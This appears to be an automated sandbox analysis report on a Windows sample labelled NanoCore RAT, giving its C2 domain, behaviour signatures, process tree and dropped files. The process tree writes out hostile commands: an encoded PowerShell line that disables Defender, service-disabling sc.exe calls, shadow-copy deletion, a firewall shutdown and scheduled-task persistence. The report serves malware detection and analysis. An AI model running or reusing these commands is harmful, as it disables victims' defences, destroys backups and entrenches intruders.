Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 07:33

General

  • Target
    xoilactvz.online_chrome.exe
  • Size 57KB
  • Sample261102-jdmt8a1xg1
  • SHA256 8c86a71cd0f51371840e6f3e6b1407988e3e0af745f67f8423943d2defdadb4a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://xoilactvz.online

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilactvz.online

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilactvz.online_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactvz.online_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3844
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4160
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:124
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:6068
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4560
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3260
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4632
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5936
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
        PID:3412
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:1936
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4564
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:4528
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5172
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:3392
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvz.online_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5016
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvz.online_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1088
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5960
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2380
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1456
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:4880
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:6084
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:5212
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5044
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:5640
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5004
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1928
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2296
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:984
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4736
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2264
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:5320
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvz.online_chrome.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4764
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:52
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:2580
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:5800
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:3412
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious behavior: EnumeratesProcesses
                PID:2188
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5016
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:6028
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:5252
                  • C:\Windows\System32\Conhost.exe
                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    3⤵
                      PID:4632
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:820
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:856
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1548
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                  1⤵
                    PID:200
                  • C:\Windows\system32\SystemSettingsAdminFlows.exe
                    "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                    1⤵
                      PID:1016
                    • C:\Users\Admin\AppData\Local\Temp\xoilactvz.online_chrome.exe
                      C:\Users\Admin\AppData\Local\Temp\xoilactvz.online_chrome.exe
                      1⤵
                        PID:4732
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k GPSvcGroup
                        1⤵
                          PID:6004

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              scr_20261102_073438.jpg

                              • Path C:\ProgramData\SysUpdate\Scr\scr_20261102_073438.jpg
                              • Size 126KB
                              • SHA256 2a55d80173cb6aae53da6285bdfd39ea9a5d06c810cf18c01aca0fbe46db1750
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              invoice_1.pdf

                              • Path C:\ProgramData\invoice_1.pdf
                              • Size 76KB
                              • SHA256 454f0e164dfb34b7d0d7012aecb9b0be3e7d0c2707b931d33ae3da6c55dab479
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              doc_2.pdf

                              • Path C:\SystemVolumeInformation\doc_2.pdf
                              • Size 76KB
                              • SHA256 3b728fa2da94e3bde22eebc5deee31a9e86b1ad284b5e9348e2fd252d740bcb0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              __PSScriptPolicyTest_hu0utjsj.h3b.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hu0utjsj.h3b.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              createshortcut.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                              • Size 248B
                              • SHA256 a772584d636b8ef9ed5ab9b0eb508b0888bdac278716f524381e09ab2b32c523
                              • MD5 SHA1 SHA512 TLSH

                              del.bat

                              • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                              • Size 59B
                              • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                              • MD5 SHA1 SHA512 TLSH

                              makelnk.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                              • Size 249B
                              • SHA256 3bbb48c4f5ce33b749b9ac842fc2712df45ebe4a849bd4d741e395d003bdfe41
                              • MD5 SHA1 SHA512 TLSH

                              temp_steal.log

                              • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                              • Size 169KB
                              • SHA256 895eca28cd6e3fd52e3fe872a1c73e8e015014cd0a2d17e81173e645defe4a33
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              stolen_data_here.txt

                              • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                              • Size 169KB
                              • SHA256 a151b22e18b86a09e8013c34f5c9d3a3c4ef1a63e0203129c9003e0481b00913
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              READ_ME_NANOCORE.txt

                              • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                              • Size 145B
                              • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                              • MD5 SHA1 SHA512 TLSH

                              RANSOM_NOTE.txt

                              • Path F:\RANSOM_NOTE.txt
                              • Size 177B
                              • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                              • MD5 SHA1 SHA512 TLSH

                              memory/2580-2271-0x0000021ACCAA0000-0x0000021ACCAA1000-memory.dmp

                              memory/3844-15-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-16-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-22-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-23-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-12-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-25-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-19-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-18-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-29-0x0000012C79F70000-0x0000012C79F8E000-memory.dmp

                              memory/3844-11-0x0000012C79DE0000-0x0000012C79E02000-memory.dmp

                              memory/3844-30-0x0000012C7A1C0000-0x0000012C7A272000-memory.dmp

                              memory/3844-17-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-100-0x0000012C79F90000-0x0000012C79F9A000-memory.dmp

                              memory/3844-21-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-14-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-13-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/3844-2247-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-0-0x00007FF87934F000-0x00007FF879350000-memory.dmp

                              memory/4948-24-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-2262-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-5-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-2264-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-2278-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-4-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-2279-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-3-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-2-0x00007FF8791C0000-0x00007FF879B64000-memory.dmp

                              memory/4948-1-0x0000000000E70000-0x0000000000E84000-memory.dmp